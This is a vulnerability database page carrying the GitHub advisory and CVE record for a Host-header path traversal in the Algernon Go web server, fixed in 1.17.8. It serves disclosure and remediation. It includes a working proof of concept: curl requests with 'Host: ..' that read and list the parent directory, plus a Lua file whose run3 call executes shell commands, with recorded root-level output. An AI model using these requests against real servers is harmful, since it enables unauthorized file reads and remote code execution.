Vulnerability-Lookup

GHSA-JC3J-X6PG-4HMV

Vulnerability from github – Published: 2026-06-23 21:49 – Updated: 2026-06-23 21:49

Summary

Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir

Details

Summary

When algernon is started with --domain (or --letsencrypt, which silently turns on --domain at engine/flags.go:372), the request handler resolves the served directory by joining the configured --dir with the value of the client-supplied Host header. The join is performed by filepath.Join with no validation, so a Host: .. header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any .lua file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected.

Details

engine/handlers.go (function RegisterHandlers, around line 510):

allRequests := func(w http.ResponseWriter, req *http.Request) {
    ...
    servedir := servedir
    if addDomain {
        servedir = filepath.Join(servedir, utils.GetDomain(req))   // <— line 531
    }
    ...
    filename := utils.URL2filename(servedir, urlpath)

utils/web.go (GetDomain):

func GetDomain(req *http.Request) string {
    host, _, err := net.SplitHostPort(req.Host)
    if err != nil {
        return req.Host          // <— Host header returned verbatim
    }
    return host
}

utils/files.go (URL2filename) only sanitises the URL path — it never inspects dirname:

func URL2filename(dirname, urlpath string) string {
    if strings.Contains(urlpath, "..") {
        return dirname + Pathsep         // dirname is trusted here
    }
    ...
}

engine/flags.go (auto-enable in CertMagic / Let's Encrypt mode):

if ac.useCertMagic {
    ...
    ac.serverAddDomain = true   // <— line 372
}

Putting it together:

The client sends Host: ... Go's HTTP server accepts the value because . is in the URI host whitelist and there are no other characters to validate; req.Host is ...
GetDomain returns .. (no port, net.SplitHostPort fails — fallback path).
filepath.Join("/srv/algernon", "..") cleans to /srv.
URL2filename("/srv", "/SECRET.txt") returns /srv/SECRET.txt, which the handler opens with FilePage.
For directory targets, DirPage lists the parent — sending / after Host: .. produces an HTML index of the parent of the docroot.
If a file with a recognised algernon extension (.lua, .tl, .po2, .amber, .frm, .md, ...) is in the parent, the matching renderer runs server-side. .lua triggers full Lua execution, including run3(...) which calls exec.Command("sh", "-c", command) (see lua/run3/run3.go:23).

Multi-level traversal is blocked at the protocol layer because the Go HTTP parser rejects / in the Host: value, but a single .. is enough to step outside the operator's intended docroot — and many operators put scripts, configs, certificates, log files, or sibling sites in parent(serverDir). --letsencrypt is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing.

This bug is distinct from the previously-fixed handler.lua parent-walk (GHSA-xwcr-wm99-g9jc) — that one used the handler.lua discovery loop and walked above rootdir; this one stays inside the normal FilePage path and rewrites rootdir itself through filepath.Join(servedir, req.Host). It is also distinct from the upload savein() issue (GHSA-2j2c-pv62-mmcp).

PoC

Build the affected version:

git clone https://github.com/xyproto/algernon
cd algernon
go build -o /tmp/algernon .

Reproduce manually:

WORK=$(mktemp -d)
mkdir -p $WORK/site
echo '<h1>public</h1>' > $WORK/site/index.html
echo 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt
cat > $WORK/pwn.lua <<'LUA'
print("=== RCE ===")
local out, err, code = run3("id; uname -a")
for _,v in ipairs(out) do print("  "..v) end
LUA

/tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit &
sleep 1

# 1. Arbitrary file read
curl -H 'Host: ..' http://127.0.0.1:7799/SECRET.txt
# -> TOP-SECRET FROM PARENT DIR

# 2. Parent directory listing
curl -H 'Host: ..' http://127.0.0.1:7799/ | grep -oP 'href="[^"]+"' | head
# -> href="/SECRET.txt", href="/pwn.lua", href="/site/", ...

# 3. Server-side Lua execution (RCE)
curl -H 'Host: ..' http://127.0.0.1:7799/pwn.lua
# -> === RCE ===
#      uid=0(root) gid=0(root) groups=0(root)
#      Linux ...

Recorded output from a real run:

[2] arbitrary file read via Host: ..
    TOP-SECRET FROM PARENT DIR

[3] directory listing of parent via Host: ..
    bytes=1278, links=1
    sample:
      href="/alg.log"
      href="/site/"
      href="/SECRET.txt"

[4] Lua RCE via Host: .. when .lua exists in parent
    === RCE ===
      uid=0(root) gid=0(root) groups=0(root)
      Linux fg0x0 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux
    EXIT=0

Steps 2 and 3 reproduce with default flags (--domain alone, or --letsencrypt in production). Step 4 additionally requires a .lua file in the parent — common when an operator keeps shared scripts alongside the served directory, or when this bug is chained with any prior write primitive.

Impact

An unauthenticated remote attacker who can send a single HTTP request with a Host: .. header can read arbitrary files in parent(--dir) and enumerate that directory.
When --letsencrypt is used (the recommended way to obtain HTTPS), --domain is enabled silently, so any production multi-tenant deployment is exposed without the operator opting in.
The chained Lua-RCE path executes shell commands as the algernon process user. In the canonical --prod invocation documented in engine/config.go:208 (serverDirOrFilename = "/srv/algernon"), the parent is /srv; in multi-domain setups the parent often holds sibling site directories and shared .lua libraries.

Suggested fix

Reject Host header values that contain .., /, \, or that resolve outside the configured serverDirOrFilename. The simplest patch:

// engine/handlers.go, where addDomain is consumed
if addDomain {
    domain := utils.GetDomain(req)
    if domain == "" || strings.ContainsAny(domain, "/\\") || strings.Contains(domain, "..") {
        w.WriteHeader(http.StatusBadRequest)
        return
    }
    servedir = filepath.Join(servedir, domain)
}

A stronger fix when CertMagic is active is to constrain the lookup to the certMagicDomains allow-list that flags.go already builds.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.17.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/xyproto/algernon"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48126"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23",
      "CWE-644"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-23T21:49:11Z",
    "nvd_published_at": "2026-05-26T17:16:53Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWhen algernon is started with `--domain` (or `--letsencrypt`, which silently turns on `--domain` at `engine/flags.go:372`), the request handler resolves the served directory by joining the configured `--dir` with the value of the client-supplied `Host` header. The join is performed by `filepath.Join` with no validation, so a `Host: ..` header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory \u2014 arbitrary file read, full directory listing, and, if any `.lua` file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected.\n\n### Details\n\n`engine/handlers.go` (function `RegisterHandlers`, around line 510):\n\n```go\nallRequests := func(w http.ResponseWriter, req *http.Request) {\n    ...\n    servedir := servedir\n    if addDomain {\n        servedir = filepath.Join(servedir, utils.GetDomain(req))   // \u003c\u2014 line 531\n    }\n    ...\n    filename := utils.URL2filename(servedir, urlpath)\n```\n\n`utils/web.go` (`GetDomain`):\n\n```go\nfunc GetDomain(req *http.Request) string {\n    host, _, err := net.SplitHostPort(req.Host)\n    if err != nil {\n        return req.Host          // \u003c\u2014 Host header returned verbatim\n    }\n    return host\n}\n```\n\n`utils/files.go` (`URL2filename`) only sanitises the URL path \u2014 it never inspects `dirname`:\n\n```go\nfunc URL2filename(dirname, urlpath string) string {\n    if strings.Contains(urlpath, \"..\") {\n        return dirname + Pathsep         // dirname is trusted here\n    }\n    ...\n}\n```\n\n`engine/flags.go` (auto-enable in CertMagic / Let\u0027s Encrypt mode):\n\n```go\nif ac.useCertMagic {\n    ...\n    ac.serverAddDomain = true   // \u003c\u2014 line 372\n}\n```\n\nPutting it together:\n\n1. The client sends `Host: ..`. Go\u0027s HTTP server accepts the value because `.` is in the URI host whitelist and there are no other characters to validate; `req.Host` is `..`.\n2. `GetDomain` returns `..` (no port, `net.SplitHostPort` fails \u2014 fallback path).\n3. `filepath.Join(\"/srv/algernon\", \"..\")` cleans to `/srv`.\n4. `URL2filename(\"/srv\", \"/SECRET.txt\")` returns `/srv/SECRET.txt`, which the handler opens with `FilePage`.\n5. For directory targets, `DirPage` lists the parent \u2014 sending `/` after `Host: ..` produces an HTML index of the parent of the docroot.\n6. If a file with a recognised algernon extension (`.lua`, `.tl`, `.po2`, `.amber`, `.frm`, `.md`, ...) is in the parent, the matching renderer runs server-side. `.lua` triggers full Lua execution, including `run3(...)` which calls `exec.Command(\"sh\", \"-c\", command)` (see `lua/run3/run3.go:23`).\n\nMulti-level traversal is blocked at the protocol layer because the Go HTTP parser rejects `/` in the `Host:` value, but a single `..` is enough to step outside the operator\u0027s intended docroot \u2014 and many operators put scripts, configs, certificates, log files, or sibling sites in `parent(serverDir)`. `--letsencrypt` is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing.\n\nThis bug is distinct from the previously-fixed `handler.lua` parent-walk (GHSA-xwcr-wm99-g9jc) \u2014 that one used the *handler.lua discovery loop* and walked above `rootdir`; this one stays inside the normal `FilePage` path and rewrites `rootdir` itself through `filepath.Join(servedir, req.Host)`. It is also distinct from the upload `savein()` issue (GHSA-2j2c-pv62-mmcp).\n\n### PoC\n\nBuild the affected version:\n\n```\ngit clone https://github.com/xyproto/algernon\ncd algernon\ngo build -o /tmp/algernon .\n```\n\nReproduce manually:\n\n```\nWORK=$(mktemp -d)\nmkdir -p $WORK/site\necho \u0027\u003ch1\u003epublic\u003c/h1\u003e\u0027 \u003e $WORK/site/index.html\necho \u0027TOP-SECRET FROM PARENT DIR\u0027 \u003e $WORK/SECRET.txt\ncat \u003e $WORK/pwn.lua \u003c\u003c\u0027LUA\u0027\nprint(\"=== RCE ===\")\nlocal out, err, code = run3(\"id; uname -a\")\nfor _,v in ipairs(out) do print(\"  \"..v) end\nLUA\n\n/tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit \u0026\nsleep 1\n\n# 1. Arbitrary file read\ncurl -H \u0027Host: ..\u0027 http://127.0.0.1:7799/SECRET.txt\n# -\u003e TOP-SECRET FROM PARENT DIR\n\n# 2. Parent directory listing\ncurl -H \u0027Host: ..\u0027 http://127.0.0.1:7799/ | grep -oP \u0027href=\"[^\"]+\"\u0027 | head\n# -\u003e href=\"/SECRET.txt\", href=\"/pwn.lua\", href=\"/site/\", ...\n\n# 3. Server-side Lua execution (RCE)\ncurl -H \u0027Host: ..\u0027 http://127.0.0.1:7799/pwn.lua\n# -\u003e === RCE ===\n#      uid=0(root) gid=0(root) groups=0(root)\n#      Linux ...\n```\n\nRecorded output from a real run:\n\n```\n[2] arbitrary file read via Host: ..\n    TOP-SECRET FROM PARENT DIR\n\n[3] directory listing of parent via Host: ..\n    bytes=1278, links=1\n    sample:\n      href=\"/alg.log\"\n      href=\"/site/\"\n      href=\"/SECRET.txt\"\n\n[4] Lua RCE via Host: .. when .lua exists in parent\n    === RCE ===\n      uid=0(root) gid=0(root) groups=0(root)\n      Linux fg0x0 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux\n    EXIT=0\n```\n\nSteps 2 and 3 reproduce with default flags (`--domain` alone, or `--letsencrypt` in production). Step 4 additionally requires a `.lua` file in the parent \u2014 common when an operator keeps shared scripts alongside the served directory, or when this bug is chained with any prior write primitive.\n\n### Impact\n\n- An unauthenticated remote attacker who can send a single HTTP request with a `Host: ..` header can read arbitrary files in `parent(--dir)` and enumerate that directory.\n- When `--letsencrypt` is used (the recommended way to obtain HTTPS), `--domain` is enabled silently, so any production multi-tenant deployment is exposed without the operator opting in.\n- The chained Lua-RCE path executes shell commands as the algernon process user. In the canonical `--prod` invocation documented in `engine/config.go:208` (`serverDirOrFilename = \"/srv/algernon\"`), the parent is `/srv`; in multi-domain setups the parent often holds sibling site directories and shared `.lua` libraries.\n\n### Suggested fix\n\nReject Host header values that contain `..`, `/`, `\\`, or that resolve outside the configured `serverDirOrFilename`. The simplest patch:\n\n```go\n// engine/handlers.go, where addDomain is consumed\nif addDomain {\n    domain := utils.GetDomain(req)\n    if domain == \"\" || strings.ContainsAny(domain, \"/\\\\\") || strings.Contains(domain, \"..\") {\n        w.WriteHeader(http.StatusBadRequest)\n        return\n    }\n    servedir = filepath.Join(servedir, domain)\n}\n```\n\nA stronger fix when CertMagic is active is to constrain the lookup to the `certMagicDomains` allow-list that `flags.go` already builds.",
  "id": "GHSA-jc3j-x6pg-4hmv",
  "modified": "2026-06-23T21:49:11Z",
  "published": "2026-06-23T21:49:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xyproto/algernon/security/advisories/GHSA-jc3j-x6pg-4hmv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48126"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xyproto/algernon"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir"
}

CVE-2026-48126 (GCVE-0-2026-48126)

Vulnerability from cvelistv5 – Published: 2026-05-26 16:44 – Updated: 2026-05-26 17:27

Title

Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir

Summary

Algernon is a small self-contained pure-Go web server. Prior to 1.17.8, when algernon is started with --domain (or --letsencrypt, which silently turns on --domain at engine/flags.go:372), the request handler resolves the served directory by joining the configured --dir with the value of the client-supplied Host header. The join is performed by filepath.Join with no validation, so a Host: .. header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any .lua file is present, server-side Lua execution. This vulnerability is fixed in 1.17.8.

Severity

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-23 - Relative Path Traversal
CWE-644 - Improper Neutralization of HTTP Headers for Scripting Syntax

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/xyproto/algernon/security/advi…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
xyproto	algernon	Affected: < 1.17.8

Show details on NVD website

JSON

To clipboard

{
  "containers": {
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              "content": {
                "id": "CVE-2026-48126",
                "options": [
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                    "Exploitation": "poc"
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                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-26T17:27:29.590530Z",
                "version": "2.0.3"
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            "url": "https://github.com/xyproto/algernon/security/advisories/GHSA-jc3j-x6pg-4hmv"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "algernon",
          "vendor": "xyproto",
          "versions": [
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            }
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      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Algernon is a small self-contained pure-Go web server. Prior to 1.17.8, when algernon is started with --domain (or --letsencrypt, which silently turns on --domain at engine/flags.go:372), the request handler resolves the served directory by joining the configured --dir with the value of the client-supplied Host header. The join is performed by filepath.Join with no validation, so a Host: .. header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory \u2014 arbitrary file read, full directory listing, and, if any .lua file is present, server-side Lua execution. This vulnerability is fixed in 1.17.8."
        }
      ],
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            "userInteraction": "NONE",
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      "source": {
        "advisory": "GHSA-jc3j-x6pg-4hmv",
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      "title": "Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir"
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}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-JC3J-X6PG-4HMV

Summary

Details

PoC

Impact

Suggested fix

CVE-2026-48126 (GCVE-0-2026-48126)

Tags

Sightings

Nomenclature